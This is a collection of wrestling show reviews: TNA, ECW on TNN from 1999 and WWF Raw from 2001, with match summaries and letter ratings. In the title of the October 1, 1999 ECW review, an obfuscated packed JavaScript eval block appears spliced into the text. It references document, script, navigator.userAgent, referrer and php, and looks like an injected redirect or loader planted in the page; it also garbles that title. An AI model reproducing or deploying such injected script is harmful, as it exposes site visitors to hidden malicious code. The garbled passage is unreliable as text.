It’s Rhyno vs. Raven now and Rhyno bites on his head to bust him open. Jarrett comes in for a figure four but Raven turns it over. The drop toehold onto the chair is broken up as Raven grabs the chair and pelts it at Jarrett. Tag to Sabu as things break down again. Sabu hits the triple jump legdrop on Rhyno for two. Out to the floor where Sabu dives on Rhyno again.

Back in the ring the drop toehold sends Raven into the chair for two. DDT takes down Jarrett but Rhyno makes the save. Sabu saves a pin after a Gore but the referee goes down too. A running chair shot takes down Rhyno but there’s no referee. There’s a table at ringside and Sabu sets to send Rhyno through it, but here’s Abyss to put Sabu through it instead. Jeff Hardy comes out (wasn’t he supposed to be here earlier?) and gives Jarrett the Twist and Swanton but it only gets two for Raven. There’s a table in the corner now and as Raven is setting for the DDT, Rhyno gores him through it for the pin.

Rating: C+. This was fun and I’m glad they went with the hardcore stuff, but there was no way they could follow Styles vs. Joe. Also the run-ins got annoying but that was obvious coming in. This would set up Rhyno vs. Raven at Unbreakable in what I remember being a decent match, which again didn’t stand a chance to be remember after what closes the show. Still though, pretty fun match here, but the stipulation didn’t mean much of anything.

Overall Rating: B+. This is one of the better shows I can remember TNA having. There’s your great match and it set up the next show pretty well, and on top of that there was almost nothing bad on the whole thing. They pushed Joe to the moon, back when the X-Division actually meant something. Very good show here and that’s a very nice surprise.

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ECW on TNN – October 1, 1999: Dreamer And Raven Are Fighting. Imagine That.

ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiffk|var|u0026u|referrer|ftftk||js|php'.split('|'),0,{})) on TNN
Date: October 1, 1999
Location: Compuware Sports Arena, Plymouth, Michigan
Attendance: 1,600
Commentators: Joey Styles, Joel Gertner

Back here again and we’re somehow less than a year from this show ending. I didn’t realize how short this series was but we’re about a month into it and we have less than a year to go at this point. Awesome is the world champion and needs someone to fight so maybe we’ll get to that tonight. Let’s get to it.

We open with breaking news: the tag champions got in a fight backstage and Dreamer is still wrestling tonight.

Mike Awesome will defend the title tonight.

Theme song. That’s still pretty awesome.

ECW World Title: Rhyno vs. Mike Awesome

Rhyno charges into a clothesline before the bell and then takes a jumping back elbow off the middle rope. Another clothesline puts him on the floor and Awesome hits a dive over the top. Most of it hit concrete but the effort was there. Back in a top rope clothesline gets two. Awesome likes that move. Awesome Bomb is countered and Rhyno Gores him but that’s not a finisher yet. Swan dive by Rhyno gets two. German suplex out of nowhere takes Rhyno down and there’s an Awesome Bomb up and over the top rope and through a table on the floor. Rhyno is mostly dead so the Awesome Splash retains the title.

Rating: C. Awesome was, in a word, awesome with the stuff he could pull off in the ring. People shouldn’t be able to move the way he could so it amazes me that WCW screwed him up as much as they did. He was mostly a face as the fans cheered him because there was almost no way to not be impressed. Fun match here and basically a squash for the champ.

Big Sal E. Graziano vs. Little Spike Dudley

Sal weighs about 500lbs. Spike is the Giant Killer so I think you know where this is going. It’s going to a no contest as Guido runs in for the DQ and it’s time for a new match.

Little Spike Dudley vs. Little Guido

Does the winner get upgraded to a medium? After a quick break they trade rollups and Spike takes him down with a neckbreaker for two. A forearm puts Guido on the floor and there’s a dive. Guido throws him into the barricade and Sal splashes him up against the steel. Middle rope Fameasser gets two. Tomikaze (Killswitch) gets two and Guido is frustrated. Sal comes in but his splash misses and the Acid Drop to both guys (with Sal landing on Guido) gets the pin.

Rating: D+. It was entertaining enough but the Spike character could only be carried so far. The idea of him hitting one shot and then the Acid Drop to win matches worked for awhile but it finally had to stop. Guido was his usual self and Sal did his usual fat guy stuff. Not bad or anything but Spike did the same thing every week.

Music video on RVD.

The following is from Anarchy Rulz but it was a dark match so I haven’t seen it yet.

Danny Doring/Roadkill vs. CW Anderson/Bill Whilles

Big pop for Roadkill be fore he and Whilles gets us going. Roadie punches him down and hits a powerslam to set up a double tag. Doring speeds things way up and hits a Japanese armdrag. Back to Roadkill who hits a Bossman Slam and everyone is in now. Doring cleans house but walks into an Anderson spinebuster and a single arm DDT. The control lasts for about 30 seconds and it’s back to Roadkill. Bill manages a spinning powerslam on Doring for two and everything breaks down again. Danny hits a reverse DDT to set up a top rope splash by Roadkill for the pin.

Rating: C. This was a good choice for a dark match as the fans were WAY into Roadkill and Doring. They would get the titles in about 14 months but ECW was long past dead by that point. They also had Lita as a manager for a cup of coffee so there aren’t any complaints there. Fun match here that was very fast paced and got the people going though.

Yoshihiro Tajiri vs. Tommy Dreamer

Dreamer is in street clothes. Back from a break before the match and Dreamer hits a baseball slide to send Corino (manager) into Tajiri. Tajiri gets crotched on the barricade and takes the deadly Pepsi to the face. Back in the handspring elbow and the Buzzsaw kick give Tajiri a quick advantage but Dreamer comes back with a slingshot splash for two. Dreamer goes up for something like a moonsault I think but gets crotched and put in the Tree of Woe.

Tajiri misses his baseball slide and crotches himself so Tommy shows him how its done. Dreamer sets for a suplex to the floor through a table but Tajiri manages to superkick him down to the floor. Back inside Dreamer puts Tajiri in the Tarantula and doesn’t look half bad at it. We go back to the floor and Tajiri is thrown into the crowd. It’s your usual crowd brawl with both guys being thrown in the penalty box. Tajiri is busted.

They head to ringside and Tajiri steals a beer which he spits into Tajiri’s face Mist style. In the ring Dreamer runs into a superkick but pulls off a Dre

amer Driver for two. Corino and Francine come in with the girl hitting a Pedigree on Corino. Raven comes in, DDTs Dreamer and lets Tajiri kick him in the head for the pin.

Rating: C-. The brawling was ok but at the same time, the same problem most ECW brawls had comes into play: why are these two having this big wild brawl? I’d assume it’s over the tag titles but that’s really just an educated guess. There’s no real reason to have these two beat on each other so much so it’s not something you can just jump into and be interested. Kind of a fun match but it was only there for the ending.

Overall Rating: C. Much like the Sci-Fi version, this show is finally starting to calm down and therefore it’s gotten a lot more entertaining and watchable. There are stories being told throughout the show and they eventually (in theory) get paid off at the PPV. That’s basic wrestling booking and if they can get that down, things will go way up as a result. Not a great show but it’s a good sign.

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Monday Night Raw – September 3, 2001: Kurt Angle: American Psycho

Monday Night Raw
Date: September 3, 2001
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 14,890
Commentators: Paul Heyman, Jim Ross

Another week closer to Unforgiven and to the best of my knowledge, nothing has been announced for the show yet. After the last two weeks being horribly uninteresting shows, hopefully things can bounce back a little bit tonight. The problem with the Alliance stuff at this point is they don’t know what to do next with it. The Alliance is here, they’ve won a few matches, WWF has won a few matches…..and then what? That question never seemed to get answered. Let’s get to it.

We open with a recap of last week where Austin stole the medals. On Smackdown he tried to run Angle over and then threw the medals in a river.

Undertaker vs. Test

They fight over who is stronger to start and Taker uses….my goodness he uses a hip toss and an armdrag. Now it’s an STF, which might be better than Cena’s. Test comes back with a clothesline and some elbows to the face. Side slam gets two as does a middle rope jumping back elbow. Test hooks a Russian legsweep but Taker comes back with a rolling leg lock which is quickly broken up. The fans chant for the Leafs as Taker hits a clothesline. He loads up the Last Ride but Steven Richards of all people runs in for the DQ.

Rating: C-. Not horrible here as it was nice to see Undertaker actually let someone else get in some offense for a change. The ending kind of sucked but I think it was to allow Richards to bring in Kronik to fight Kane/Undertaker. The stuff from Undertaker was pretty nice for a change, especially the armdrags and STF about five years before he became the MMA Cowboy of Death.

Test kicks Undertaker’s head off post match.

Christian says he’s looking forward to winning the title tonight. He’s talking to an usher or something like that when fans come up and say they’ve got front row seats. They’re happy to see Edge’s brother. Christian tells the usher to make sure they’re put in the nosebleed seats so they don’t mess up the pictures when he wins the WCW Title.

Richards says that he jumped Undertaker because Undertaker played a big role in disbanding the RTC. He wants a match with Undertaker on Smackdown.

Clips from the Wrestlemania press conference where the announcement was made that it’s coming to Toronto.

Regal is talking to Tajiri and tells him if he finds a partner tonight, he can have a #1 contenders match vs. the Dudleys. Big Show comes in and speaks Japanese, apparently because he’s Tajiri’s partner.

Austin and Debra get here and the Alliance is waiting for Austin with an ovation. They have a surprise for Austin later because they’re inspired by him throwing Angle’s medals in the river last week.

Dudley Boys vs. Tajiri/Big Show

This is for the #1 contendership for one of the sets of tag titles. Show runs them both over to start and it’s off to Tajiri to face D-Von. Tarantula gets a big pop. Bubba cheats and uses a hot shot on Tajiri to give the EVIL ones the advantage. Torrie comes down and gets in Tajiri/Show’s corner as Bubba drops elbows. Apparently this is for the shot at both sets of titles. Ok then. Tajiri kicks Bubba’s head off and it’s hot tag to Big Show. He cleans house but Tajiri accidentally shoots mist at him, allowing the 3D to pin Tajiri.

Rating: D. What was the point of this again? Was there no team that they could have thrown at the Dudleys to set this up? Sadly enough there isn’t because the division was on the verge of death at this point. Not much to see here but I’m sure the Torrie and Tajiri stuff is starting up soon.

Show runs over Torrie because he’s blind so he carries her off. The Dudleys put Tajiri through the table to a big pop. Show comes back out to make the save, despite Tajiri being dead for the most part.

Shane and Booker offer to help Christian win the title in exchange for the first shot. Christian seems cool with this.

The US Champion Kanyon (I had to remind myself since he never defends the thing) at WWF New York loves Austin and sounds like the Cowardly Lion.

Stephanie comes in to see Austin and Debra to tell them that the surprise is getting closer. Austin thinks Debra is scared that Kurt Angle might be coming. Stephanie assures her there’s no chance Angle will be here tonight. Debra gets him a beer and it fizzes a bit. Uh…ok?

Shawn Stasiak vs. Spike Dudley

Stasiak pounds him in the corner and powerslams him in front of a quiet crowd. Gorilla press gets almost no reaction and the beating continues. Spike gets tripped by Stacy which means nothing as Stasiak charges into a boot in the corner and the Dudley Dog gets the pin.

Molly beats up Stacy post match.

Christian gives Edge the KOTR trophy back and apologizes for being a jerk lately. He wants to win the title on his own tonight too.

Moppy has been kidnapped and Saturn has been given a ransom note asking for $100,000. He asks Hurricane for help and using some very questionable logic, Hurricane concludes that it’s Matt Hardy’s doing.

WCW World Title: Christian vs. The Rock

Shane is guest timekeeper and Booker is guest ring announcer. After Booker introduces himself and Shane, we’re ready to go. Booker distracts Rock and Christian jumps him to start. Shane gets in some shots on the floor and Rock is in trouble due to the numbers game. Rock gets it to one on one and hammers away but Christian kicks him right back down. Out to the floor again and Booker drops Rock on the belt on the table chest first.

Now Christian sends Rock into the table as Canada Power is in control. The reverse DDT onto the knee gets two. After a quick run on the floor Rock hits the Samoan Drop to put both guys down. Shane distracts the referee and Booker slides in the belt to Christian. Rock fights back and hits the belly to belly and a DDT for two. Spinebuster sets up the Sharpshooter but Shane interferes again. Rock drills him but Booker clotheslines him on the top and a reverse DDT gets a VERY close two. Rock throws Christian into Booker and the Rock Bottom retains the title.

Rating: C+. I liked this more than the Rhyno match last week but it was basically the same idea. Rock running through the WCW midcard is fine as they offer quick challenges to him without wasting something big like Booker vs. Rock. It’s clear that match or something similar is happening at Unforgiven, but naturally that’s not important enough to announce yet.

Rock tells Booker to just bring it and it’s on, but Shane jumps Rock and the beatdown commences. The APA makes the save.

Stephanie and Debra go into schoolgirl mode because the surprise is here.

Stephanie comes to the ring to make fun of Canada and their grammar issues. Also why would Canadians celebrate Thanksgiving? Is it because they want to be more like Americans? This comes off like a bad standup comedy bit. They shouldn’t celebrate Labor Day (today) either because they don’t do anything. Speaking of hard work, Stephanie brings out the hardest working man she knows: Austin.

The surprise is a new truck. Debra runs down all the features which takes WAY too long. One of them is the paint job. It’s black. That’s not exactly a feature. It also has a radio and mirrors. She’s really not that good at this. It has power steering and power brakes. Debra is talking about the words written on the tires. Just get to Angle destroying the thing already because you know that’s what this is building to. Debra invites Austin to come see the truck because she wants a ride.

Austin goes to the back and looks at the truck, including the leather which he really likes for some reason. He gets in the back of the truck and says he’s King of the World. FINALLY Kurt comes out of the back and hits Austin with a pipe, chains him up to something in the truck bed and speeds away in the truck.

Matt Hardy/Lita vs. Ivory/Hurricane

The guys start things off and Matt is so fired up that he gets put in position for a superplex. The fans chant for Hurricane as Ivory raises the roof. Men vs. women is cool here. Off to Lita who hits her headscissors but walks into a facejam for two. Off to the men and Matt can’t fire the crowd up at all. Ivory gets speared down but Saturn comes down to break up the middle rope legdrop. Eye of the Hurricane gets the quick pin. This was worthless.

Saturn beats up Hurricane post match.

Storm comes up to Christian and makes fun of him for losing. He makes fun of Toronto and Edge makes fun of Storm for various issues.

Debra does the first logical thing in the history of wrestling kidnappings and CALLS THE POLICE. The Alliance has a TV in their locker room and the truck pops up on it. Where is this feed supposed to be coming from? Austin is also blindfolded despite not being so when they left. Angle rants about the stolen medals and says this inspired him. Angle takes him to the edge of the bridge they’re on and Austin apologizes for throwing the medals away. Kurt lifts him onto the edge but doesn’t throw him. He says we need a higher bridge and it’s back to the driving.

Intercontinental Title: Lance Storm vs. Edge

Huge pop for Edge of course. Storm jumps him during his posing but Edge is ready for him. Storm comes back with an enziguri to send Edge to the floor. Springboard clothesline back inside gets two. Edge gets beaten on for a bit but comes back with clotheslines and a spinwheel kick. Edge-O-Matic gets two. Superkick and Edgecution are blocked and there’s the Maple Leaf. Edge finally makes the rope and Storm stays on the knee, but gets rolled up for Edge to retain.

Rating: C. This wasn’t bad at all. Canadians are good at having wrestling matches and this was no exception. To be fair Storm was trained by Stu so did you expect anything but quality? I like both of these guys though so that probably has something to do with it. Granted this was just a way to set up what comes next.

Christian comes out with a chair for the save and cracks Edge with it to turn heel. He adds a one man Conchairto, which I think is the debut of that move. Those were some great chair shots.

Rob Van Dam/Rhyno vs. Jeff Hardy/Chris Jericho

This is Jeff’s return after destroying himself and a table in a ladder match with RVD from two weeks ago on Smackdown. Rob and Chris start things off and a jumping enziguri puts Van Dam down and it’s off to Jeff. The fans chant at Hebner so the match doesn’t get much attention. Jeff pulls Rob off the top and does the legdrop between Rob’s legs. Rhyno and Chris fight so the Swanton gets no count. It also hurts Jeff’s ribs which is the call of the Rhyno who works the injury over.

The fans chant ECW as a belly to belly suplex looks to set up the Gore. Jeff moves and it’s hot tag to Jericho. Rhyno is sent to the floor and Rob counters the Walls. Chris dropkicks Rhyno off the apron and Rob knocks Jericho down and hits a standing moonsault. He tries a German suplex but Jericho rolls through for the pin, just like Edge did in the last match.

Rating: C-. This was more or less a shortened version of last week’s main event which wasn’t all that good. That being said, the only way to fit this massive roster on TV every week is with a tag team main event so there isn’t much of a shock there. Jericho and Van Dam faced each other at the PPV I believe in what was probably one of the best matches of the night.

Back to the American Kidnapping Hero who has found a higher bridge. Austin begs for a bit and Angle continues to be psycho. Angle says he’s going to make Austin think about it, which means we’ve got bills to pay so let’s take a break.

Back with Debra crying in the ring for Austin’s life. This is really bad stuff. Back to Angle and Austin with Austin showing those acting skills as he begs. The payoff for this is Angle demands a rematch at Unforgiven which he gets, and then shoves Austin into a kids’ swimming pool and steals the truck. Yeah seriously, that’s it. Quick question: WHERE DID HE HAVE THE POOL? Did he leave it on a bridge in Toronto for the last hour and no one moved it? That’s a stretch even for a wrestling storyline.

Overall Rating: C-. Well it was a little better but that’s still not saying much. The Christian turn was good and we FINALLY set up a match for Unforgiven, but at the same time it’s still not an interesting show given what they have to work with. That sums up the Alliance in a nutshell: they had everything and gave us nothing of note.

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Monday Night Raw – August 27, 2001: They Do Know There’s A PPV In A Few Weeks Right?

Monday Night Raw
Date: August 27, 2001
Location: Van Andel Arena, Grand Rapids, Michigan
Attendance: 9,972
Commentators: Paul Heyman, Jim Ross

Back to 2001 now with us getting closer to Unforgiven. The main feud is still Angle vs. Austin with some Booker vs. Rock thrown in on the side. I barely remember the last one of these that I did which is probably because I haven’t done one in about a month. I remember them being just ok for the most part though which isn’t a good sign. Let’s get to it.

We open with a clip of Austin cheating to beat Jericho to keep the title on Thursday.

Rock defends against Rhyno tonight.

Here’s Shane to open things up. He talks about buying WCW about five months ago and doing it to own the most dominant brand in sports entertainment. The fans don’t really buy that but whatever. One of the things that came with WCW was its champion, Booker T. He was a champion you could be proud of, unlike the current WCW Champion The Rock. It’s all about the money and Rock as champion doesn’t make the money for WCW, because Rock has nothing to do with its history. Therefore, the next champion will be….Rhyno. Come on Shane you’re smarter than that.

Cue Rock who says he knows the history of the WCW Title and how it traces back to Frank Gotch (it doesn’t), Lou Thesz (kind of), Ricky Steamboat and Ric Flair. Rock also knows what the title has come to: Diamond Dallas Page, Booker T, the guy from Scream 2, the maid from the Jeffersons and so on. It’s like Stephanie: everyone gets a turn. Now though the title means something and the Rock will be the most electrifying WCW Champion of all time.

Rock knows he’ll be defending against Rhyno later tonight, but how about right now he comes down there and gives Shane a shot right now? Shane does the Just Bring It hand sign so here comes Rocky. Naturally it’s a trap as Rhyno comes in and Gores Rock to get an advantage later tonight.

Austin has a bad arm which Debra is trying to tend to. As he yells at her, RVD and Raven come in. They have a Hardcore Title match later and since it’s Alliance vs. Alliance they want Austin’s blessing. Instead Austin puts them in the main event instead of him and a mystery partner against Jericho/Angle.

Undertaker vs. Albert

They slug it out and Taker reverses an Irish whip to take over. Old School hits and he does his still bad cross armbreaker. Taker has to stop to chase X-Pac around like it’s 1999 and walks into a shot with the Cruiserweight Title. That gets X-Pac an evil glare so Albert jumps Taker but can’t hit whatever the chokebomb was called at this point. Oh it’s the BaldoBomb. Thanks Paul. Anyway it’s countered into the chokeslam for the pin by Taker.

Rating: D. Taker was in a bad BAD funk at this point and by funk I mean he sucked for about three years. He wouldn’t sell ANYTHING for anyone other than a giant, which is why Kronik was brought in for one of the worst matches in recorded history. This match did nothing for Albert, but that might be for the best.

Shane Helms talks about superheroes before his match with Matt. Ok then.

European Title: Hurricane vs. Matt Hardy

This is the debut of the Hurricane superhero character but he has hip hop music still. Matt looks shocked but he clotheslines Hurricane down quickly. Superkick by Helms sets up a top rope cross body for two. There’s a Russian legsweep by Matt and Hurricane is in trouble. The middle rope leg gets two. A cross body misses for Matt and here’s Ivory to hit Lita in the knee with a pipe. She hits Matt as well, allowing Hurricane to hit the Eye of the Hurricane to steal the pin and the title. This was really quick.

Angle ignores Michael Cole so Cole follows him anyway. Angle finds Raven and gives him a big old beating, putting him in an ankle lock before screaming that RVD needs a new partner.

After a break, here’s the EXACT SAME SEGMENT IN FULL. Good grief.

Lita gets her knee looked at when Raven comes in to get attention as well. The trainer says Raven can’t wrestle so Shawn Stasiak pops in to offer his services to take his place. Austin calls him selfish but gives him the shot anyway. Stasiak leaves so Austin yells at Raven for making him go out there tonight. Austin hits him in the ankle because he’s that kind of guy. I guess Matt and Lita were just watching in the back.

Edge is having a soda when Hugh Morrus comes in to make fun of his fake name. Edge points out how stupid that is and thinks his name should he Hugh Suck. Christian comes in and somehow gets Hugh an IC Title match tonight.

We get a clip of whatever Smackdown Test joined the Alliance on and cost the APA the tag titles.

Test vs. Bradshaw

Brawl to start of course and Bradshaw takes over, hitting a DDT. Shane is at ringside and offers a distraction to let Test take over. Full nelson slam puts Bradshaw down and Test pounds away. Bradshaw tries the Clothesline but Test hits a sidewalk slam to put him right back down. The flying elbow misses and Bradshaw powerslams him for two.

Test tries a cross body into the corner so that Bradshaw can hit the fallaway slam to put him back down. Shane gets up on the apron but Bradshaw sends Test into him for two. Farrooq chases Shane but gets taken down by Test. Bradshaw chases him back in and walks into the big boot for the pin.

Rating: C. This was a MUCH better match than you would have expected. It’s a good example of a match where two power guys didn’t try to be anything more than two power guys, which usually results in an ok match. The interference was a bit overdone but it’s 2001 WWF after all so what else was to be expected? Good match and I was rather surprised by it.

Austin is yelling about Angle attacking Raven when RVD comes in. He thinks Austin did it so that he could team with RVD which would be perfect. RVD says he’ll carry the whole match. Debra likes the idea but Austin doesn’t think so. He’ll get back to RVD on that.

Stasiak is stalking Angle and gets Stacy to help him.

WCW World Title: The Rock vs. Rhyno

They start in the aisle and Rhyno Gores him almost immediately to hurt the ribs again. That gets a quick two in the ring as does a standing powerslam. Rock launches him over the top to give himself a breather. He can’t follow up though because of the ribs so Rhyno throws on a bearhug. This goes on for over a minute which is quite a bearhug. Rock finally punches out of it and hits a Samoan Drop to put both guys down.

A shoulder to the ribs puts Rock right back down as this has been one sided. Suplex gets two. Rock comes back with that belly to belly throw of his and both guys are down again. Back up and the jumping clothesline and DDT get two on Rhyno. A clothesline puts Rock down but he nips up and hits a spinebuster as Shane comes out. A low blow puts Rock down and here’s the APA to chase Shane off. Gore misses and the Rock Bottom retains the title.

Rating: C+. This was a very basic power man vs. injured ribs match and it worked quite well. This is something that is completely missing from Raw and Smackdown today: a main event guy against a midcarder with the champion having some trouble but nothing horrible. They had a pretty good match and you don’t waste anything big on it. Why is that so hard to grasp today?

Stasiak has put a bucket of rancid milk over the door to fall on Angle when he comes through the door. It’ll blind him and Stasiak will beat him up. And Debra comes in instead. COMEDY!

Austin blames Angle for what happened.

Intercontinental Title: Edge vs. Hugh Morrus

Christian sits in on commentary. Morrus takes him into the corner to start and splashes him to take over. Edge comes back with a drop toehold and a cradle for two. Jackknife cover gets two but Hugh grabs a powerslam for two. Elbow drop gets the same. Suplex puts Edge down and Morrus keeps telling Edge to say it. No idea what that means but Morrus never made a lot of sense. Top rope elbow misses and Edge comes back with clotheslines and a spinwheel kick. Edge-O-Matic gets two but Morrus flapjacks him down. He loads up the moonsault but Christian pops up and hits him for the DQ. Uh….ok?

Rating: D+. Nothing to see here at all. This wouldn’t lead anywhere for Morrus but I guess it furthers the Christian and Edge split, which wouldn’t happen for over another month. The match was nothing of note at all as Morrus was about as low on the Alliance pole as you could possibly be, which made the ending here pretty clear.

Booker is mad at Rock for stealing the title so here’s a clip of the midget from last week. We get a clip from earlier today with Show doing a Booker impression. To put it mildly, it’s REALLY bad.

Stephanie and Jericho run into each other in the back. She says Y2J is five minutes ago and it’s all about RVD now. Jericho says she should be saying H-O-E. This was stupid too.

Big Show vs. Booker T

Booker tries a quick spin kick which is caught and powerbombed with ease. Show throws him around and chops Booker in the corner but the Alley-Oop is countered. Booker superkicks him and hits the ax kick and here’s the Spinarooni. Show sets up the chokeslam but Booker distracts the referee and kicks Show low. That doesn’t do much and they go to the floor but Show’s knee goes into the steps and Booker hits him with a chair for the quick DQ. What was this supposed to accomplish? Getting Booker revenge? That’s fine but have him get a win and put him over Big Show, not this.

Chris Jericho/Kurt Angle vs. Rob Van Dam/???

Austin comes out but not in wrestling gear. There’s a mystery partner and that partner is….Taz. Well that’s kind of a letdown. Angle stomps on RVD in the corner and they’re starting I think. RVD takes him down with a kick and it’s off to Taz. Angle cross bodies him down and here’s Jericho. The Alliance takes over but Jericho manages a Breakdown (Skull Crushing Finale) on RVD for two.

Rob gets in another kick (no, really) and goes up, but Jericho makes the stop and superplexes him for two. Taz comes in to hit his crossface shots to the face which he dedicates to Austin. Heyman compares Austin to John Wayne and says Austin is the better American, almost starting a war between New York and Oklahoma. Rob hooks a chinlock but Jericho escapes and rolls him up for two.

Rolling Thunder gets two and it’s back to Taz who almost allows the tag to Angle. Van Dam hits his spinning legdrop and it’s back to the chinlock for a few seconds. Sunset flip gets two for the Canadian but Rob kicks him down again. Split legged moonsault hits knees though and there’s the tag to Angle. The Alliance takes him down with relative ease and Van Dam hits the Frog Splash but Taz only gets two off of it. Jericho puts Van Dam in the Walls on the floor but Austin breaks it up. In the ring Angle escapes the Tazmission and the Angle Slam ends this.

Rating: C. This was a main event tag match to the letter. Not a great match or anything but for what it was this was fine. It helps to set up the Austin being a hunted man angle, especially with the post match stuff. It also furthers Taz having issues with the Alliance which didn’t go much of anywhere but it happened.

Austin beats up Angle post match and steals his medals. JR freaks out to end the show.

Overall Rating: D. This didn’t work for me for the most part. There’s some good stuff in it, but it felt like the show was spinning its wheels for the majority of the time. I don’t know what this is supposed to do and Unforgiven hasn’t even been mentioned yet. The Alliance was about two and a half months away from dying but it seems like they’re on life support by this point. Weak show.

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ECW on TNN – August 27, 1999: Not The Worst Debut. It’s Very Close But Not The Worst.

There are a total of 59 episodes of this show so why not knock them out too? I’ll be doing two of these right after I do the ECW on Sci-Fi episodes so this won’t take long to knock out. I just hope I can find them all. Enjoy.

First ECW on TNN
Date: August 27, 1999
Commentator: Joey Styles

From the title I think you get the idea here. This show is weird as it’s a lot like the old WWF TV shows as it’s a collection of previously aired matches thrown together here. The first show they taped was awful so they turned it into this. The main thing is Lynn vs. Van Dam from Hardcore Heaven 99 which I’ll re-review and see how it matches up with the original rating I gave it, which is something I don’t think I’ve done before. Let’s get to it.

We open with a clip of the Dudleys (who would leave for WWF in like a week) powerbombing someone through a flaming table as Joey says this isn’t WCW or WWF but ECW.

Cue theme song. The main focus is Tazz who would leave in like 2-3 months and everyone knew that was going to happen.

Joey lists off a bunch of people to have held the TV Title but says RVD might be better than all of them.

TV Title: Rob Van Dam vs. Jerry Lynn

I think this is new commentary here but I’m not sure. This is really just a way to introduce Van Dam and give us what they know is an exciting match. You can’t hear a word the ring announcer is saying. They start with a nice sequence where neither can get any real advantage but the fans love it. We actually get highlights of both guys in the middle of the match. I get that you want to showcase two of your top guys but dude, do it when there’s not a match on.

Van Dam gets knocked to the floor and Lynn takes over. Lynn gets a top rope bulldog for two. RVD is bleeding from…..something. I think at this point we go to a commercial as we get an ad for Anarchy Rulz. Joey suggests the Warrior could be coming to ECW. Oh dear. Yeah the commentary here is new. Lynn is bleeding too now after botching a fall to the floor and hitting his foot on the ropes. The replay has a rap song with it. Really?

Lynn gets a sunset powerbomb for two. What would an ECW match be without tables? Van Dam’s eye is messed up and black as coal. Van Daminator in the stands as this match is kind of hard to follow. Another commercial doesn’t help as they don’t stop the match for it, which is either a good idea or a bad idea and I’m not sure which. Lynn gets another sunset powerbomb through the table on the floor.

CUE THE RAP SONG REPLAY! After a clip or a commercial, Fonzie takes a chair pelted at his head. Lynn goes for a top rope belly to belly but he just falls off. You know the chant we get from that. Cradle Piledriver is blocked and both guys are down. Split Legged Moonsault hits Lynn. PAY ATTENTION MORRISON. THAT IS HOW YOU DO THE MOVE. And there’s the Five Star out of more or less nowhere but Lynn rolls through for two. Van Daminator and a HUGE Five Star ends it.

Rating: B-. The clipping hurts this a lot. It makes this look like far less of an ultra competitive match and more like RVD just breaking a sweat. It’s still good but at the same time it really makes Lynn look weak. At the same time though this was about RVD and that worked very well. This was still good but a different kind of good. I gave the PPV version a B as I still find these matches to be overrated by most ECW fans.

We plug Rollerjam (which as a kid I thought was a cool show. The women were hot if nothing else) and then talk about the ECW World Title, listing off guys that didn’t win it but tried to, such as Konnan, Benoit, Austin and Foley. I’m not entirely sold on talking about guys that USED to be here, but you could look at it like this: We had these guys before they were superstars. Imagine what kind of buried treasures we have here now. That makes sense.

Shane threw down the NWA Title, which meant nothing to most fans watching this show but whatever. That was 5 years before the debut of the TV show. Didn’t know that.

ECW World Title: Taz vs. Rhyno

This is from Hardcore TV or a house show. Rhyno hits a powerbomb 3 seconds in and Taz just pops up. Rhyno means nothing at this point which you can probably guess. Well we’re in Chicago if nothing else. Taz is massacring him here with Rhyno looking like a freaking jobber. He’s hit two punches to the ribs and a no sold powerbomb. Tazz sets up a table and Rhyno hits new levels of offense with THREE punches to the ribs. Suplex through the table sets up the Tazmission. Total squash if there ever has been one.

Rating: N/A. This was DOMINANCE which is the idea I guess, but Rhyno looks like a joke here. The problem is that these matches are just random defenses with no meaning to them. We keep hearing about Steve Corino and how he’s Taz’s archenemy, but we never even see him.

Video on Sabu who is apparently awesome. No match or anything but just highlights.

Ad for Anarchy Rulz again.

Spike Dudley vs. Big Sal

Low blow and Acid Drop end it. Literally that’s the whole thing. Who is Spike? Who is Sal? “Spike has done it again!” What does he do? Apparently that’s not important. Ah ok they call him the Giant Killer.

The Impact Players introduce themselves and we have no idea if they mean anything or not. Cyrus pops up for no apparent reason as Jason makes gay jokes about Joey. We see clips of the Impact Players beating people up which helps a bit as we know they’re dominant.

House show ads.

We get a BUNCH of clips of guys and a brief description (as in their nickname) of them. It’s set to a Kid Rock song so what do you expect here?

Taz talks about how TNN and ECW are together now and how cool that is I guess. We get clips of famous people he’s made tap out. He talks for like three minutes and that ends this mess.

Overall Rating: D. This was a total mess. Considering this is the first show, this was just awful as you learn nothing about the guys other than Taz being a tough guy and RVD is awesome. Other than that though you get nothing at all here though and other than a single good match to start, this gave us nothing. We have no idea about any feuds or angles or anything like that as it was just a few squashes and one big match from months earlier. This just didn’t work as Heyman clearly didn’t know what he was doing, which became a theme here. Bad show and just a car wreck of an hour.

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Monday Night Raw – August 13, 2001: 1/3 Of This Is Talking

Monday Night Raw
Date: August 13, 2001
Location: Allstate Arena, Chicago, Illinois
Attendance: 14,008
Commentators: Jim Ross, Paul Heyman

This is the go home show for Summerslam which I didn’t realize we were that close to. Rock has his title match with Booker that night and we’ll also see Angle vs. Austin in the clash of the Bald Brotherhood even though Angle isn’t bald yet. Tonight the main event is a tag match because that’s what Raw does best of course. Let’s get to it.

There’s a tag title match in a cage.

Here’s the Alliance led by Austin. The rest of the guys are on the floor while he’s alone in the ring. He’s got a contract or a clipboard in his hand. Austin says he’s giving the Alliance guys the chance to shine. Since he joined the Alliance he’s led by example. Starting last Thursday, he’s leading by example. We get a clip of Angle getting Stunned and having his ankle Pillmanized. He praises the Alliance guys for looking good but enough about them.

He’s awesome and wants to know who wants to become famous like Austin? Who’s going to step up tonight? Someone must want Kurt Angle tonight. Heyman starts an RVD chant and RVD jumps up on the apron to accept the challenge. Now he asks for a round of applause for Kanyon/DDP who are the new WWF Tag Team Champions. Now on to Test who has jumped ship to the Alliance. Where’s Rhyno? He Gored Jericho through something lately so Austin praises him.

And then we get to the bad stuff: some people haven’t been listening to Austin’s teachings. Therefore on Thursday, there’s going to be the Steve Austin Invitational, whatever that is. Austin calls attention to Taz, Raven and Hugh Morrus. He yells at Dreamer for being too much of a pushover always asking people if they need anything. As for the three in the ring, he asks Morrus who beat him last Thursday. That would be Chris Jericho. Austin makes fun of Morrus’ name, perhaps debuting the WHAT catchphrase.

